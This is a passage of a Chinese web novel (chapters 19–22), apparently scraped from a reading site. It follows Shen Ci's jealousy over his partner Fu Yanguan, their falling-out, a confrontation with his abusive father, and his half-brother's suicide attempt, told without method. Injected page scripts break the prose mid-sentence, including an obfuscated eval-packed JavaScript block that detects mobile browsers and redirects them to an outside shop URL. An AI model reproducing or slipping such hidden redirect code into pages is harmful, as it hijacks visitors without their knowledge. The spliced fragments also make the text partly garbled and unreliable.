赵倩也饶有兴趣的看着傅砚观,并看热闹不嫌事大的问了句:“是啊,你喜欢喝什么?” 傅砚观实在无奈,看了眼赵倩,又看了眼沈辞,最终拿向那杯拿铁。 “今天喜欢拿铁。” 什么叫今天喜欢?! 沈辞还欲发作,被傅砚观抓住手轻捏了下。 “小辞,先问正事。” 经过傅砚观提醒,沈辞才想起来此行的目的,他向赵倩说明了想要问的事情,说话间连他自己都没注意到双手已经下意识握紧杯子。 赵倩也正了神色,如实道:“他的病例和检查结果我看过,确实不太理想,最多还能再撑三个月。如果迟迟没有肾源,确实是早晚的事了。” “但是目前寻找肾源和换肾都不是容易完成的,所需要的费用也很庞大。”赵倩看了眼沈辞,“据我所知他们并不富裕,而你大学毕业后就没工作过,也没有钱吧。” “咳。”傅砚观轻咳一声,道,“帮忙留意下肾源吧,钱的事好解决。” 赵倩道:“怎么解决?你替他付?傅砚观,你养着他就算了,还要养着那一大家子?” 傅砚观道:“我没有要养着谁的意思,就是想如果可以做件好事,毕竟是条命。” 赵倩和傅砚观说话的时候沈辞并没有插嘴,他全程盯着坐在对面的赵倩,总觉得哪怪怪的。 他敢肯定这人和傅砚观不仅认识,而且关系还很好,说不定... 可傅砚观不是喜欢男人吗?怎么会... 沈辞有很多话想问,也想当着赵倩的面宣示主权,可到底是有求人家,同时也不想让傅砚观难看。 强压着心头的疑惑和火气,沈辞对着赵倩鞠了个躬,道:“麻烦您帮忙留意下,如果有合适的肾源告诉我和傅砚观,事后有什么需要我做的我一定尽力。” 赵倩淡定的喝了口咖啡,看向沈辞道:“什么都能做吗?如果让你离开他呢?” 19.少吃辣,容易疼 沈辞完全没想到这人会说的这么直白,他对上赵倩的目光,试图从对方眼里读出些什么,但结果是什么都没有。 赵倩就这样看着他,甚至坦荡到仿佛刚才那话不是她说的一样。与赵倩的谈话没有持续多久,对方显然也很忙,甚至是没空等沈辞的回答就先离开了。 桌子上的咖啡逐渐凉了。 从咖啡店离开一直到家沈辞都没再提起这件事,可他不说,不代表他不介意。 赵倩到底是谁?和傅砚观是什么关系?为什么两个人之间会看起来这么熟络。不光是谈话间,就连相处方式都很奇怪。 傅砚观对于旁人一副淡淡的样子,说白了就是冷漠又疏远,有时就连对他都会出现那种上位者的姿态。可唯独对那个女人。 每次面对赵倩,傅砚观都很少说话,有时甚至是由着她训,他能感觉到在赵倩面前傅砚观几乎是低了一等。 可是因为什么呢? “嘶...” 一个走神间,刀切到了手指,好在指甲挡了一下,才没见血。但声音还是惊动了傅砚观。 刚在书房开完会的傅砚观直奔厨房,抓起沈辞的手左右检查了一遍,确认没有破皮才稍稍放心,但还是开口训道:“不是在客厅看电视吗?怎么跑厨房来了?” 傅砚观瞥了砚菜板上切了一半的鸡肉,眉头紧皱:“饿了?” 自从沈辞失忆,有多久没进过厨房了,突然动起刀,还手生到这个地步。 曾经沈辞做饭时傅砚观也在旁边看过几次,每次都要赞叹这人的刀功,结果现在呢,切个菜往自己手上切。 沈辞原本烦的厉害,但在看到傅砚观抓着他仔细检查的样子后,又觉得有些好笑,心里的烦闷也消了不少。 “之前你在医院不是说我没给你做药膳吗,我这不正在尝试。” 傅砚观瞥了眼台面,果然看到沈辞手机支在上面,页面上正是药膳的做法。可这人都学哪去了? “我让你给我做药膳,可没让你往手上切。” 傅砚观果断收了沈辞手里的刀,把人赶出了厨房。 家里没有雇厨师,也没有找保姆,以前是沈辞打理家里的琐事,像个免费劳动力一样,每天好像不知道累,从早干到晚。 可其实那时的沈辞是不知道应该做点什么,他天天在这栋大别墅里,傅砚观又很少回来,每天都是他一个人。 不找点事做真的会发疯。 沈辞抓了抓头,还想再去拿刀:“我觉得没什么事,要不你去接着开会,让我继续尝试一下?” 沈辞说的真诚,但傅砚观哪里还肯。 “去客厅吧,我做。” 虽说傅砚观从小就是有钱人家的少爷,但傅家董事长傅颂清也并没有把他养废。对于傅砚观的动手能力,傅董事长几乎是从小就开始培养。 这也是为什么傅砚观之前自己一个人生活的时候也没请保姆。 瞧见傅砚观要动手做饭,沈辞主动帮人把袖子挽上去,然后盯着他线条流畅的手臂咽了口口水。 身材真好啊。 起初来厨房做饭是因为心里烦的厉害,电视看不进去,人也坐不住,现在堵在心里的那口气倒是舒缓了不少。 傅砚观刀功不是特别好但手艺却正经不错,他将沈辞切好的鸡肉改成了辣子鸡丁,知道沈辞爱吃辣,还特意多放了一碗辣椒。 不过这样做的后果就是,某个爱吃辣的人直接连盘子都舔干净了,最后哭晕在厕所。 “傅砚观...我屁股疼。” 辣子鸡这种东西就是辣椒里面找鸡肉,沈辞把那整整一盘的辣椒都吃干净了,嘴瘾是过了,其它地方就遭罪了。 沈辞坐在马桶上撇着嘴,眼睛红的吓人,就差往下掉眼泪了,起初还拦着傅砚观不让进,后来也顾不得那么多了。 可这种事情实在是太丢人了。 “下午看你不要命的吃,还以为你有个铁屁股,原来是顾头不顾尾。” 沈辞欲哭无泪:“我都这么难受了,你就不能少说两句吗?” 傅砚观洗了手,抱臂看着沈辞,故意逗人:“叫声爸爸听听。” “......”沈辞从没确定傅砚观这么欠过,眼下这个情况他根本没有闲心和这人搞什么情趣。 气急了的人,眉头紧皱,一开口就带了哭腔:“你爱管不管,老子不用你!” “你是谁老子。”傅砚观把腿都坐麻了的人抱起来,在湿漉漉的屁股上拍了一巴掌。 “头一次见上厕所脱这么干净的。” 沈辞趴在傅砚观肩膀上闷头不语,虽然两人什么都做了,但这种事情还是难以启齿,他辣的难受,用冷水冲了好几遍也不管用,最后腿都软了,坐在马桶上生闷气。 被傅砚观扔到床上,沈辞继续装鹌鹑,他试图把自己埋进被子里,结果被傅砚观阻止后屁股上又挨了一巴掌。 “你怎么这么喜欢打人?” 坐在床边的人没有立刻回应,而是从抽屉里翻找出药膏。 沈辞再次把头埋进去一声不吭,但屁股却往上挪了挪,一边觉得丢人,一边配合。 擦了药后确实有所好转,药膏的冰凉逐渐压住那股火热的感觉。不疼了之后,沈辞立刻换了个舒服的姿势,同时眼皮发沉,有些昏昏欲睡。 傅砚观坐在一旁吐槽:“怎么连声谢谢都没有?不懂礼貌的小孩儿。” “老男人懂礼貌...” 沈辞确实有些困了,从上完厕所开始他就一直在卫生间里折腾,前前后后得有两个小时,现在好不容易舒服了可不就开始犯困。 傅砚观也没真的想打扰人睡觉,摸了下沈辞臀尖,感觉有些凉后,便把被子还了回去。 难得的休息,两人却奔波一天,傅砚观一边觉得惋惜,一边又觉得充实。 - 日子重新回到正轨,一月份的天更加冷了,距离除夕近了的同时,也快到傅砚观生日了。 一月十号,还有不到一个星期。 趁着傅砚观去公司的空挡,沈辞开始纠结应该送傅砚观什么生日礼物。 他记忆发生混乱,忘了关于傅砚观的所有,自然也就忘了两人之前是怎么过生日的。 而他又没有给别人过生日的印象。 无奈之下,沈辞只好求助赵阳,希望他能出出主意。 赵阳开着车来接沈辞的时候是下午,看着捂的严严实实的人,挑起半边眉道:“怎么这次穿的这么.. (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' .正常?” 沈辞回怼:“我哪次穿的不正常?” 提起这个赵阳可就来劲了,边开车边道:“前几次啊,我以为你风格彻底变了呢,天天穿的那么妖艳,简直全场最靓的崽,酒吧的那身装扮我到现在都记得呢。” “你说你们家老傅不会是见色起意吧,不然他看上你啥了?” 沈辞拳头捏的越来越硬,盯着赵阳,扯出抹笑:“您要是不能友好交流,就请把我送回去谢谢。” “如果不是飙车的事张呈山还没消气,我才懒的找你。” 赵阳乐了,连点了数次头:“是是是,辞哥说的都对。我这不也是夸你好看。” 沈辞道:“我本来就好看。” 两人斗了会嘴,等快到商场入口,才算是进入正题。 “所以你有什么推荐的吗?最好是有意义一点的,他不缺钱,肯定什么东西都不缺。” 赵阳一边把车开进停车场一边道:“哥啊,他什么都不缺咱来商场干什么?” “你这事啊确实是找错人了,我又没谈过恋爱,上哪能知道送啥的。” 沈辞掏出手机:“那我还是给张呈山打电话吧。” “山子也没谈过。”赵阳再次泼了沈辞一盆冷水,“现在唯一有恋爱经验的好像是你,结果你找我们两个单身狗来取经,多冒昧啊辞哥。” “我不管,反正傅砚观过生日,我必须送一份惊世骇俗的礼物。” 赵阳瘫在座椅上,摊手道:“那你还不如把自己送给他,然后张开双臂说,来吧,随便操。” 沈辞黑了脸,没有说话。 赵阳再次出馊主意:“或者...你弄个倒膜,做个屁股送他,保证惊世骇俗,终身难忘。” 沈辞到底是没忍住,一巴掌呼过去,开口道:“你能不能说点过审的东西?我是要让他感动,让他难忘,不是让他认为我在搞黄色。” 赵阳在沈辞的威胁下闭了嘴,但莫名的竟然觉得有点可惜。 多好的礼物啊,要真送出去了,他保证姓傅的得高兴的找不着北。 既然来了商场,总要逛一逛,沈辞手里有钱,挑起东西来也不忌讳,专门往贵的上面看。 赵阳看着那张黑金主卡,更加笑的前仰后合。 很好,他兄弟抓住了家里的财政大权,只要有钱在手里总不会被欺负,大不了最后拿着钱跑路。 不过花着寿星的钱被寿星买礼物还挺有意思的。 两人在商场里从头逛到尾,每一层都没落下,但每一样都没入的了沈辞的眼。 “辞哥...” “嗯?”沈辞正在研究一件西装,他喜欢看傅砚观穿西装,更喜欢傅砚观穿着西装和他做,所以一瞬间闪过一个念头,送件西装其实也不错。 但这个想法确实只存在了一瞬间,毕竟傅砚观的西装实在是太多了。 赵阳没了刚才的欢快,指了指前面道:“那个...是不是你家老傅?” 沈辞听了立刻回头,顺着赵阳指的方向看过去,见确实是傅砚观还挺高兴,结果下一秒就看到了傅砚观身旁的赵倩。 两人举止亲密,傅砚观提着一堆东西,而赵倩则是手挽着傅砚观,捧着杯奶茶,有说有笑的。 20.超级冷战了 沈辞僵在原地许久,就这么盯着远处的两人看,看到眼球都跟着酸疼,双腿像灌了铅一样迈不开步子。 一旁的赵阳急的跟什么似的,见沈辞不说话,恨铁不成钢的道:“那女的你认识吗?上去问问啊,我看你们家老傅也不是个随便的人,怎么可能跟别人这么亲近?” 赵阳都能看出来傅砚观是个什么样的人,沈辞怎么可能不知道。而正因为知道,才觉得难受。 一个平时只知道忙工作的人,突然间放下看重的工作,陪着别人和颜悦色的逛街,且...如此亲密。 这无论是谁都会误会吧。 况且经过前面几次的事,沈辞对于赵倩本身就很警觉,现在的画面就像是印证了沈辞的猜测一样。 他甚至在想,傅砚观经常不回家,是不是外面还养着别人。 “赵阳。”沈辞轻声开口,“你说我现在过去给那两个人一人一巴掌,再薅着那女的头发打一顿会很难看吗?” “嗯....我想不光会很难看,还会在进一次警局。” 赵阳拉住沈辞胳膊,就怕这人真的会一激动然后冲出去和那两人打起来,到时候可就不好收场了。 他试图劝道:“要不你回家问问你家老傅,万一是有什么隐情呢,这只是逛街,也代表不了什么。” 沈辞默默捏紧拳头,冷声道:“等在酒店捉奸才能代表他出轨了是吗。告诉我上班然后在这陪其她女人逛街,那还要什么生日礼物,还过什么生日?” “走了,回家。” 赵阳看了眼掉头就走的沈辞,连忙追上去,但没走几步又掉头回来,对着服装店里的二人拍了一张,以免到时候傅砚观死不承认。 - 晚上七点,别墅里灯火通明,沈辞坐在沙发上看电视,怀里抱着两杯奶茶,不知道是不是里面的珍珠没煮熟,沈辞竟然嚼出了咯嘣咯嘣的声音。 傅砚观回来时似乎有些疲惫,刚进门就脱了西装,扯了领带,对着沈辞道:“小辞,帮我倒杯水。” 沈辞未动,他瞥了眼傅砚观,见人手里什么都没有,心里更觉得好笑,逛了一天街,结果什么都没拿回来,那东西都在谁那就不言而喻了。 瞧见傅砚观要过来,沈辞立刻道:“站那。” 傅砚观微愣,不知道沈辞哪来的火气,但看着对方脸色确实难看,只好停下脚步,疑惑的问道:“怎么了?” 怎么了?这人还问他怎么了。 “我让你几点回来?” 傅砚观不明所以,但还是道:“七点。” “那现在几点了?我是不是说了如果七点没回来就别进来了。” “小辞?”傅砚观越发的不解,他按开手机,看了眼时间。 七点零五。减去他在门口换鞋停车的时间,并不算是回来晚了,而且就算是晚那么几分钟又能怎么样? 沈辞不依不饶:“既然傅总回来晚了,那就自己出去吧,你这么大的董事长,总不会说话不算数吧。” “我哪回来晚了?”傅砚观脸色也有些难看,他没再按照沈辞的要求站在那,大步走过去,将衣服扔到沙发上,有些不悦的道,“你今天怎么回事?莫名其妙发什么脾气,先不说我没有晚回来,就算是晚回来了,你就真不打算让我进门?” 沈辞道:“那请问傅董事长,你们谈合作定好了价钱,结果最后可以不按照要求付款吗?” 傅砚观拧眉:“这是一回事吗?” 沈辞站起来,怒道:“这怎么不是一回事?!你今天就是晚回来了,现在我不想看见你,你滚出去。” 这话一出,傅砚观算是彻底变了脸色,他本身就不是一个脾气好的人,眼下更是收起了所有耐心。 “你再说一遍。沈辞,我是不是真的太惯着你了?让你现在无法无天,我忙了一天,并且按照你的要求每天准时到家,你还想怎么样?作是不是也应该有个限度?” 傅砚观冷脸按理说沈辞应该是怕的,但今天他就是想不依不饶,觉得面前这人哪哪都不对,并把脑子里的那些猜想全部按到傅砚观身上。 越想越气的人哪还有理智。 沈辞也学着傅砚观的样子冷声道:“不想惯着你可以不惯,今天我就是不想看见你,要不你滚出去,要不我走。” 傅砚观没再说话。 两人就这么僵持着,一个生了一下午闷气,一个累了一天想回家好好休息结果四处碰壁。 “我跟你说话呢。” 沈辞不依不饶的样子让傅砚观感到疲惫,并对他赶人的行为觉得烦躁。 “行,既然不想看见我,那我走,希望你不要后悔。” 傅砚观向来是个原则性很强的人,如果有什么事情触及他的底线基本都很难商量,习惯了沈辞的乖巧,他对沈辞的印象便一直都是听话懂事的。即便是后来记忆出现问题,偶尔的小脾气也无伤大雅。 但有些事不能太过,就像是今天这样,他就觉得沈辞有些娇宠过头了。 傅砚观拎起衣服头也不回的走了,沈辞张了张嘴想说些什么,可直到外面传来汽车启动的声音,他也没有说出来话。 之后的几天,两人莫名的开始了冷战,微信记录还停留在几天前沈辞去车场的那次。 傅砚观确实没再回过家,沈辞白天的时候和赵阳吐槽,嘴硬说傅砚观爱回来不回来,有本事一辈子别回来。可等到了晚上,沈辞又开始胡思乱想。 一个人在床上怎么也睡不着,翻来覆去的脑子里都是傅砚观。 甚至是觉得这别墅实在是太大了,大到他开始有些怕黑。 不过真正让他担心的是傅砚观的去向。沈辞也曾偷偷去公司问过,结果得知傅砚观这几天根本没在公司住,每天还是正常下班。 知道这事后,沈辞很难不多想,傅砚观不在公司那能去哪里?赵倩家吗? 沈辞几次失眠时都想问问傅砚观到底在哪,可是在对话框打完后,又不想低头,最后赌气删掉所有的字。 就这样一直别扭了好几天,为了不在想起傅砚观,沈辞约了李教练练车,到车场一呆就是一天。 老李捡到的边牧一直没有主人来认领,便干脆直接养在车场,和老李做个伴。 几天不见,大了整整一圈。 “它有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 名字吗?”沈辞一边摸着狗头,一边询问。 老李瞧他没有精神,便道:“还没有名字,我就会开车,哪会起名字,一般都是喊它狗,它就过来了。” “太难听了。” 沈辞眉头紧皱,半响说道:“叫傅砚观吧。” 老李愣了下,随后笑道,直接说出了沈辞不高兴的原因:“他惹你了?” “没有。” “那就奇了怪了,你这几天半死不活的样子分明就是为情所困,也只有那个臭小子能把你惹成这样。” 见沈辞还是一副‘死了爹’的样子,老李道:“要不我去买点菜,咱晚上吃个火锅,你给我讲讲?” 沈辞有些提不起食欲,闷声道:“不了,改天吧。” 沈辞抬头看向老李:“谢谢您没替他说话。” 老李笑道:“那我肯定向着你啊。” 一旁的边牧还在试图让沈辞陪它玩几次球,老李扬了扬下巴道:“所以,准备叫什么名字?” 沈辞沉默片刻,吐出来几个字:“老傅吧。” “呵,行。” 老李欣然同意,对着边牧喊了几声,而边牧似乎也很满意这个名字,见沈辞不陪它玩球后,又跑去缠着老李。 沈辞实在没心情,见天色擦黑,便准备回去了。 告别老李,沈辞紧了紧身上的衣服,一边定位打车,一边往车场外面走,结果在走到门口时,又是和上次一样的场景。 沈唯一就在他的不远处,不过不同的是,这次那人没再上前,而是在沈辞出来后转身就走。但轮椅再快能快到哪去。 沈辞本就烦躁的心情更加不痛快了,他提高了声音叫住沈唯一。 面前的人依旧穿的很少,在寒风中瑟瑟发抖,沈辞有那么一瞬间算是理解了傅砚观。 大冬天穿这么少,确实是有点欠揍。 沈唯一不敢看沈辞,便始终低着头,怕沈辞误会,小声解释道:“我...没想来惹你生气,就是...就是想看看你。” 眼前这人似乎和那天重叠,沈辞耳边又响起沈唯一的哭声,只不过这次不像上次那样撕心裂肺。 “你真的很爱哭。” 沈唯一闻言立刻咬住嘴唇,怕再有声音传出来让沈辞生气,便又动了要跑的心思。 沈辞上前两步抓住轮椅,盯着沈唯一道:“你知不知道我很讨厌你?你爸在我小时候可没少打我,现在还想要我把肾给你,你就不怕我把气撒你身上?” 沈唯一吸着鼻子没有说话。 沈辞又道:“你爸打过你吗?用皮带不管死活的往身上抽,心情不顺了上去就是一脚,你从楼梯上滚下来过吗?” 沈唯一脸色煞白。 沈辞继续道:“这些都没有是不是,沈长余那么喜欢你,怎么舍得打你,但是...我可不是他,你再过来把我惹烦了,我抽死你。” 沈辞话说完,感觉一直压在心里的那口气少了一些,他本想吓住沈唯一,让他以后都离他远点,谁曾想下一秒裤子却一松。 沈辞瞪大眼睛,低下头。 那倒霉孩子竟然解了他的皮带。 21.气死没有良心的爹 眼看着裤子往下掉了几分,沈辞连忙抓住沈唯一的手,以免最后上个新闻。 大街上一男子裤子被扒,疑似耍流氓。 沈唯一被沈辞握住手,感受到对方温热的掌心,抖的竟然没有那么厉害了。 “...你想打,可以打。” 沈辞眯了眯眼睛,觉得沈长余在生沈唯一的时候绝对没做检查,不然这人怎么可能脑子有病呢。 一番拉扯下,沈辞终是叹了口气,他感觉沈长余就是不想放过他,所以故意生了个孩子折磨他。 还是他妈贺媛生的那个好一些,到现在他都没见过一面,小时候贺媛就开始防着他,生怕他打扰到她的新家庭。 不仅不见他,后来因为他养在舅舅家,贺媛甚至连舅舅家都不去了,彻底和他们断了联系。 沈唯一见沈辞不说话心里再次打起鼓,他一边害怕,一边又贪恋沈辞身上的温暖。 良久,沈辞无奈的道:“你家在哪,我送你回去。” 刚拜托赵倩留意肾源,要是沈唯一折腾来折腾去最后先出事,那岂不是白忙活了。 沈唯一的身体确实一天不如一天,现在说几句话就要停下来歇一歇,身体没有力气连站起来都费劲。 沈辞就想不通了,都这样了还来回折腾什么呢?这么冷的天他一个正常人都不爱出来,结果一个随时有生命危险的人总惦记着往出跑。 二人一站一坐走在路上,沈辞按照沈唯一说的方向走,而沈唯一则是隔几秒就要回头看一眼沈辞,就好像珍惜这为数不多的时间一样。 沈唯一的家离车场不算太远,就在附近一栋即将要拆迁的居民楼里。 这地方比郊外还偏,估计都订不到外卖,沈辞不相信按照沈长余的性子会住这种地方,估计是给沈唯一治病花光了积蓄。 赵倩说的对,以沈长余现在的状况根本就付不起沈唯一的医药费。 沈辞盯着面前少年的发顶,心里竟萌生出一个不切实际的想法。 不是疼这个儿子吗,不是把他当成唯一吗?那他就让沈长余永远也见不到沈唯一。 “哥哥...到了。” “嗯。” 沈辞随便应了声,打量着面前的小区。这是片老楼,墙皮已经脱落的不剩什么了,如果请人来检查,这估计都能被判为危楼了。 其实说是小区,到不如说这是片荒废的地方,保安亭里已经挂满了蜘蛛网,楼里住的人也不到十家,简直比十几年前的房子还要破旧。 如果不是亲眼所见,沈辞都无法相信这是祈江市的小区。 既然已经到这了,沈辞也不放心沈唯一一个人回去,秉承着送佛送到西的原则,沈辞跟着沈唯一一起上楼了。 不过除了真的不放心沈唯一外,沈辞还有些私心。上次在医院他因为刚遇到沈长余还有些没反应过来。 又是被骂又是被打的吃了不少亏,那这事他自然得讨回来,不管如何,也得恶心下沈长余才行。 门敲响时,过来开门的是梁兰,她红着眼睛,手里拿着手机,在看见沈唯一的第一秒就痛哭出声。 “儿子!你怎么又不告诉妈妈一声就跑出去?你要吓死妈了!” 梁兰扑上来抱住沈唯一,原以为会看到一出母子互相安慰感人的戏码,但沈辞却清晰的看到沈唯一眼里的抵触。 梁兰哭的十分伤心,抓着沈唯一上下检查着,这时沈长余也从屋子里出来,看见沈唯一时明显松了口气。 “唯一,你又跑去那车场了?爸爸不是说了吗,你现在不能骑车,怎么也要等身体好了。” 这一家人互诉衷肠的戏码沈辞不爱看,正大他准备开口时,却见一直沉默的沈唯一突然抬头。 “我还能好吗。” 沈唯一直视着沈长余,脸上没有一丝多余的情绪,而眼里的抵触和嘲讽更甚。 “就算我好了,你就会让我去做我想做的事吗?” 梁兰慢慢止住哭声,心疼的握着沈唯一因为不停打针而青了的手:“儿子,爸爸妈妈都是为了你好,等你病好了,你就好好学习,然后给爸爸妈妈考个好大学。” 沈长余也道:“唯一,爸爸妈妈永远不会害你的。” 沈唯一似乎是知道他再怎么说也没有用,直接闭了嘴。他回头看了眼沈辞,唇瓣颤抖,想说些什么,可碍于有外人在,便将所有话都咽回了肚子里。 而这时沈长余和梁兰也注意到了沈辞,沈长余立刻收起脸上的和颜悦色,拧眉道:“你怎么和唯一碰到一起的?” 沈辞眯了眯眼睛,没有因为沈长余所说的话掀起一丝波澜。 “我好心送你儿子回来,没让他冻死在外面,你难道不应该感恩戴德的道谢吗?怎么还质问起我来了。你不是最重视这个儿子吗,这就是你重视的态度?” “你!”沈长余抬手要打,结果被沈辞一把抓住,心中怒火更盛,“你就是这么跟你老子说话的?!” 上次被沈长余打的那一巴掌就疼了好几天,这次说什么都不可能了。 真当他那么好欺负吗? 沈辞丝毫不客气,用力攥着沈长余手腕,瞥了眼沈唯一道:“你是谁老子?生而养之是父亲,生了不养也勉强算是个生父,但生了不养,反而虐待家暴,那叫畜生。” 眼看沈长余还想再动手,沈辞又道:“需要我给你儿子讲讲你的那些过去吗?我可最会讲故事了。” 沈唯一面色惨白,想伸手去抓沈长余举着的手,但梁兰却快了他一步。 “小辞啊。”梁兰擦掉脸上的眼泪,挤出抹笑把沈辞迎进屋里,替沈长余道,“你爸他没有那个意思了,就是太担心唯一了,你也看见了,你这个弟弟现在确实让人操心。” “你也心疼他,是不是?” 沈辞被梁兰拉到沙发上,看了眼偷偷看他的沈唯一,心下觉得好笑:“我连什么时候多了个弟弟都不知道,谈什么心疼。” 最开始沈辞还在想,为什么老天这么不公平,一个家暴的人,怎么到另一个地方就当起好丈 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 夫了。现在他倒是有些明白了,这个女人心机太深。 不管是对他表现出来的热情,还是所说的话,每一句都是在为了沈唯一。 这人还惦记着他的肾,但却不像沈长余一样逼迫,而是温水煮青蛙,等着他自己上钩。 沈辞挣开梁兰握着的手,继续说道:“我喜欢漂亮的小孩儿,要是你们俩生个妹妹,我可能还真就心疼了,但现在这个....确实是差点意思,完美的继承了你们俩的缺点。” “沈辞!你再说一遍?!” 沈长余原本不想搭话,结果越听越来气,又想冲上去指着沈辞鼻子骂。 从回来开始就没怎么说过话的沈唯一突然开口,他说话微微喘着粗气,目光落在沈长余身上:“我需要安静,你们小点声....” 沈唯一说完就自己转着轮椅回了卧室,不知是难过还是怎么,没敢再看沈辞一眼。 而沈长余自然应允,立刻放低了声音,只是面子有些挂不住,还是放了狠话:“我是看在唯一的面子上,不然你这样忤逆父亲的早该打死一千次。” “哦。”沈辞丝毫未受影响,甚至嘴角上扬几分,笑看着沈长余,“你这么在乎沈唯一,可别哪天分开了啊。” 从这段时间的接触,以及现在来看,沈长余和梁兰几乎把所有心思都花在了沈唯一身上,而这么多年的心血,没什么比分离更疼了。 沈长余还想再说什么,被梁兰瞪了一眼后走到阳台不再管屋里的两人。 沈辞侧头瞥了眼,沈长余也快五十了,上了年纪后腰也跟着弯了,再加上给沈唯一治病花光了家里所有的积蓄,导致整个人都显得颓废。 只是对于沈长余,纵有可怜之处,也不值得人心疼。 至少,他还是恨不得让他早点死。 “小辞,今天多谢你送唯一回来,家里现在这样也不好意思留你,但阿姨还是希望你可以常回来,你弟弟经常提起你呢。” 沈辞没理会梁兰,对于这里他多呆一秒都觉得呼吸不畅。 今日算是短暂的占了上风,只要一想到沈长余吃瘪的样子,沈辞便觉得浑身舒畅。就连下楼时脚步都欢快许多。 此时天算是彻底黑了,沈辞看着没有路灯的小区,心里有些发怵,不由得脚步加快了些。他不知道在这个位置能不能打到车,只能祈祷有哪个好心的司机路过这。 小区门口有一道亮光,沈辞连忙加快脚步。他不知道那车停在那做什么,只想借着车灯尽快走出这吓人的小区。 只是当他走进看见车旁边的人时,却是慢慢放慢脚步,不知道该不该过去。 黑色卡宴,正是他熟悉的那辆,除了傅砚观还能是谁。 见沈辞越走越慢,傅砚观开口道:“小辞,过来。” 听见此话,沈辞直接停下,赌气的站在原地。 凭什么每次都是他过去?冷战这么久,傅砚观一条消息都没给他发过,现在招招手就想让他乖乖就范,休想! 他才不要先低头。 22.你是不是吃醋了 两人就这样无声的对峙,不知过了多久一声叹息传来。沈辞看到傅砚观朝着他走过来,那人步伐迈的极大,三两步就走到了他身边。 几日不见,傅砚观似乎清减了不少,本就棱角分明的脸也更加消瘦,但好像也更好看了。 尤其是那张嘴,唇瓣厚度正好,红润诱人,越发的显得秀色可餐。 沈辞下意识舔了下嘴唇,用力甩开脑子里那些想法,暗骂自己不争气。 想到两人正在冷战,沈辞立刻拉下脸,道:“你来干什么?傅总忙了一天不是应该很累吗,怎么还大半夜的来看我这个作起来没完的人?” 傅砚观从前只知道沈辞乖巧,现在才发现这人阴阳怪气也有一套。 想到已经有好几天没见到人了,傅砚观放软了态度:“那天的事是我不对,我不应该那么大声跟你说话。” 沈辞抬眼,见傅砚观主动道歉,心里刚觉得舒服了一点,结果下一秒就又听到了对方的说教。 “我有错,但你是不是也有不对的地方?有什么事好好解决,动不动就把人赶出去很没有礼貌。我觉得我们可以好好谈一谈。” “傅砚观。”沈辞突然开口,对上男人疑惑的眼睛,道,“你有毛病吧?” 冷战了几天,过来找他就是为了再训斥他一顿?他没有礼貌?他要是没有礼貌在这人和别人逛街的时候就应该冲上去大闹一顿。 “你是董事长当习惯了,所以见着谁都想说教一顿吗?我不是你那些下属,别把对别人那一套用在我身上。” 沈辞说完便走,心里的小火苗又蹭蹭往上涨。 傅砚观也没想到沈辞说说话就跑,好在身体比脑子先反应过来,直接快走两步把人抓住。 “沈辞,有什么事不能心平气和的坐下来好好说...” 沈辞甩开傅砚观:“有什么好说的!以前我还认为你是真的很忙,也尽量体谅你工作累经常加班,结果傅总当面一套背后一套的把戏你自己演起来不累吗?” “嘴上说着在公司忙,实际上陪着别人逛街,我请问你和我在一起六年,你有陪我逛过街吗?” 沈辞一句接一句的输出让傅砚观越发疑惑。怎么就当面一套,背后一套了?他和谁逛街了? 拧着眉想了半天,傅砚观才恍然大悟,他最近确实是只陪过一个人逛街,那就是赵倩,只是沈辞怎么会知道? 傅砚观看着又想跑的人,干脆直接把沈辞圈在怀里,不管对方怎么挣扎也没放手。 “吃醋了?” 这几天傅砚观也没休息好,每到晚上都会把那天的事翻出来复盘一边,可不管他怎么想也想不明白沈辞到底怎么了。 那火发的莫名其妙。 但在这一刻,他才算是彻底明白过来,但也怪不得他,毕竟从前的六年他并没有见过沈辞吃醋的样子,也没想到他会撞见他和赵倩逛街。 只是吃赵倩的醋... “小辞,事情不是你想的那样,倒是我疏忽一直没跟你说这件事,其实赵倩她...” “儿子!儿子你别吓爸爸,你别睡,你先别睡!!” 身后突然传来的声音打断两人的对话,沈辞推开傅砚观抓着他的手,顺着声源望去,随后便看到一个男人抱着一个少年从小区里冲出来。 那人可不就是沈长余和沈唯一。 梁兰跟在后面,已经太过焦急好几次都险些摔了,刚止住泪没多久的人现在又哭的泣不成声,整个小区里都回荡着她的声音。 沈辞定睛一看,见沈长余怀里抱着的人已经面色铁青,他以后是病情复发了,结果在迎上去后才看见沈唯一被血染红的睡衣。 沈唯一,竟然自杀了... “沈辞...”沈长余看见沈辞后立刻冲过去,也不再板着老子的架子,甚至恳求道,“快送我儿子去医院,沈辞,我求你了,都是我的错,你要怪就怪我。求你送我儿子去医院,求你了!” 沈辞心里说不上是什么滋味,但现在好像也不是掰扯其它事的时候。傅砚观已经打开车门,等都上车后直奔医院。 一路上梁兰哭的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13890627|145568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撕心裂肺,就连沈长余也掉了眼泪,不停的跟沈唯一说着话。 但被沈长余抱着的沈唯一却始终没有任何回应,他已经严重休克。 沈辞回头看了几眼,目光停留在沈唯一缠着厚重纱布的手腕上,心里五味交杂。 祈江市医院。 抢救室外,沈长余夫妇焦急的等在门外,目光死死的盯着上面亮起的手术中三个字。 由于沈唯一情况特殊,病危通知书都下了好几次了,但沈长余根本不敢签字,就好像签了这个字沈唯一就真的活不了了一样。 医生也见过不少这种情况,只能耐心劝说。 “能理解您的心情,但病人本身就重病在身,如今求生意志非常薄弱,还是建议您有个心理准备。” 沈长余崩溃的掩面:“我不准备,我儿子不能有事,医生求求您救救他,我就这一个儿子啊!” 